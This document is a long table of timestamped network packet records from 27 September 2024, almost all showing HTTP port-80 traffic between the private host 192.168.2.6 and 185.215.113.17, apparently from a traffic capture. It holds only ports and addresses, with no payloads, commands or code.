Sep 27, 2024 16:18:27.850541115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850545883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850549936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850560904 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850560904 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850575924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850577116 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850590944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.850603104 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850617886 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.850701094 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851070881 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851083040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851093054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851103067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851113081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851124048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851134062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851145029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851155043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851166010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851176023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851183891 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851183891 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851183891 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851187944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851203918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851214886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851223946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851223946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851226091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851243019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851252079 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851253986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851264954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851277113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851289034 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851298094 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851298094 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851301908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851313114 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851324081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851337910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851344109 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851351976 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851363897 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851370096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851381063 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851399899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851404905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851404905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851409912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851417065 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851421118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851432085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851433039 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851444006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851454020 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851464987 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851475954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851485968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851495981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851495981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851496935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.851522923 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.851658106 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852166891 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:27.852235079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852247000 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852258921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852271080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852293015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852293015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852328062 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852499008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852544069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852560043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852588892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852591038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852602959 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852613926 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852665901 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852665901 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852757931 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852767944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852778912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852791071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852799892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852808952 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852818966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852829933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852839947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852850914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852860928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852868080 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852868080 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852868080 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852874041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852891922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852895021 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852902889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852912903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852924109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852933884 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852935076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852946997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852957010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852967978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.852973938 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852974892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.852994919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853023052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853032112 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853082895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853236914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853249073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853259087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853269100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853280067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853291035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853301048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853312969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853316069 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853316069 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853323936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853333950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853344917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853353977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853365898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853374004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853374004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853374004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853375912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853387117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853396893 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853411913 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853415966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853426933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853437901 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853447914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853451014 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853451014 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853458881 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853468895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853482008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.853502989 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853502989 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853502989 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.853528023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854089975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854125023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854136944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854162931 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854162931 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854175091 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854199886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854211092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854221106 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854233027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854273081 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854273081 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854273081 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854296923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854307890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854320049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854331017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854341030 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854341984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854356050 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854397058 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854432106 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854444027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854454994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854465008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854475021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854485035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854494095 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854494095 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854501963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854512930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854523897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854535103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854537010 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854537010 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854546070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854605913 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854605913 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854734898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854744911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854756117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854767084 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854778051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854788065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854794979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854794979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854799986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854809999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854820967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854830980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854844093 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854846001 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854859114 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854860067 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854871035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854882002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854892969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854893923 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854893923 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854928970 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854960918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854964972 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.854973078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854984999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.854995012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855020046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855020046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855025053 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855036974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855047941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855061054 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855065107 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855076075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855087042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855093002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855113029 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855113029 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855324984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855335951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855345964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855356932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855361938 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855367899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855379105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855398893 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855406046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855406046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855412006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855427027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855442047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855447054 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855460882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855474949 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855485916 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855490923 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855490923 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855498075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855503082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855509996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855520010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855530977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855541945 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855545998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855556011 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855557919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855567932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855576992 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855578899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855590105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855600119 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855606079 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855613947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855624914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855634928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855645895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855680943 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855680943 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855680943 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855876923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855889082 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855906010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855916023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855918884 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.855926991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855937958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855947971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855957985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855969906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855978966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855989933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.855999947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856009960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856019020 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856019020 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856019020 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856023073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856035948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856045961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856054068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856054068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856055975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856069088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856081963 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856137991 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856281996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856292963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856303930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856314898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856324911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856326103 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856336117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856345892 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856355906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856359959 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856369019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856380939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856386900 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856399059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856409073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856420994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856430054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856441021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856450081 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856451035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856451035 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856451035 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856468916 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856492043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856503010 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856540918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856553078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856561899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856573105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856583118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856592894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856609106 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856621027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856628895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856628895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856628895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856636047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856652021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856668949 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856673002 CEST	49613	80	192.168.2.6	185.215.113.17
